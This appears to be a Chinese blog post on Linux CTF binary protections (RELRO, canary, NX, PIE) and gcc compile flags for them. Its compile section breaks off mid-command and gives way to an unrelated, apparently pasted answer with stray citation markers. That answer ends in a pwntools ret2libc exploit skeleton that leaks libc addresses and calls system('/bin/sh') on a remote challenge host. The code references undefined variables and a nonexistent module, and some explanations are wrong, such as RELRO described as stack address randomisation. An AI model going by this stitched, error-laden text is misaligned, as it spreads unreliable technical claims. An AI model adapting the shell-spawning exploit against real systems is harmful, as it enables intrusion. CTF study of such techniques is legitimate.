PWN保护机制以及编译方法

本文详细介绍了PWN中的四种保护机制:RELRO、Stack、NX和PIE,并通过实例展示了如何在GCC中启用或禁用这些保护措施。通过对比分析不同保护级别的二进制文件,帮助读者理解每种保护机制的具体作用。

引入

Ctf中的pwn题,在利用gcc编译的时候,保护是如何开启的,如何编译出来的,保护都有什么由于在ctf中,大部分都是linux pwn,Windows pwn很少见,所以我这里以linux pwn来举例。

PWN的保护

在pwn里,保护一共是四种分别是RELRO、Stack、NX、PIE。
1.RELRO(ReLocation Read-Only):分为两种情况,第一种情况是Partial RELRO,这种情况是部分开启堆栈地址随机化,got表可写,第二种,Full RELRO是全部开启,got表不可写,Got表是全局偏移表,里面包含的是外部定义的符号相应的条目的数据段中,PLT表,是过程链接表/内部函数表,linux延迟绑定,但是最后还是要连接到Got,PLT表只是为一个过渡的作用。
2.Stack(canary):这个保护其实就是在你调用的函数的时候,在栈帧中插入一个随机数,在函数执行完成返回之前,来校验随机数是否被改变,来判断是否被栈溢出,这个我们也俗称为canary(金丝雀),栈保护技术。
3.NX(no execute):为栈不可知性,也就是栈上的数据不可以当作代码区执行的作用。
4.PIE(Position Independent Executable):PIE的中文叫做,地址无关可执行文件,是针对.text(代码段),.data(数据段),.bss(未初始化全局变量段)来做的保护,正常每一次加载程序,加载地址是固定的,但是PIE保护开启,每次程序启动的时候都会变换加载地址。

编译

在gcc中,利用默认参数进行生成,默认生成的是RELRO、PIE、NX保护是全开的情况,但是有一些题,会针对题型的不同,来更变所开启的保护机制。

在这里插入图片描述从头开始,关闭所有的保护开始关闭所有保护开始gcc -z e

开启PIE(位置无关可执行文件)和NX(不可执行栈)保护的PWN题目文件,解题时需要综合考虑这两种保护机制带来的影响。 PIE保护会使程序每次加载的基地址随机化,导致无法直接使用固定的地址来进行利用。而NX保护则禁止栈和BSS段的执行权限,不能直接使用栈上的shellcode。 对于这种情况,可采用ROP(返回导向编程)技术。ROP通过在程序中寻找已有的代码片段(Gadget),将它们组合成一条执行链,从而达到执行任意代码的目的。若程序较为复杂或者是静态编译的,可以使用ROPgadget工具方便地生成ROP利用链。不过有时无法直接用ROPgadget找到利用链,就需要手动分析程序来实现getshell [^4]。 同时,根据已知保护机制推测考点也能辅助解题。虽然没有直接针对开启PIE和NX保护的考点描述,但已知如NX没开可能考ret2shellcode,PIE没开、RELRO半开、NX开启、金丝雀未开可能考ret2text ,可以以此类推,结合开启PIE和NX的情况进行分析 [^1]。 以下是一个示例代码框架(并非完整可运行代码)展示如何使用`pwntools`库和ROPgadget工具来解决此类问题: ```python from pwn import * from ropgadget import * # 设置上下文 context(arch='amd64', os='linux', log_level='debug') # 连接目标程序 # io = process('./pwn') io = remote('pwn.challenge.ctf.show', 12345) # 利用ROPgadget寻找Gadget rop = ROP('./pwn') # 构造ROP链 # 这里需要根据具体情况选择合适的Gadget rop.call('puts', [elf.got['puts']]) rop.call('main') # 发送ROP链 payload = cyclic(offset) + rop.chain() io.sendline(payload) # 接收输出并解析puts函数的真实地址 puts_addr = u64(io.recvline().strip().ljust(8, b'\x00')) # 计算基地址 base_addr = puts_addr - elf.symbols['puts'] # 重新构造ROP链,调用system函数执行shell rop = ROP('./pwn') rop.address = base_addr bin_sh = next(elf.search(b'/bin/sh')) rop.call('system', [bin_sh]) # 发送最终的ROP链 payload = cyclic(offset) + rop.chain() io.sendline(payload) # 进入交互模式 io.interactive() ```
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

逆向萌新

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值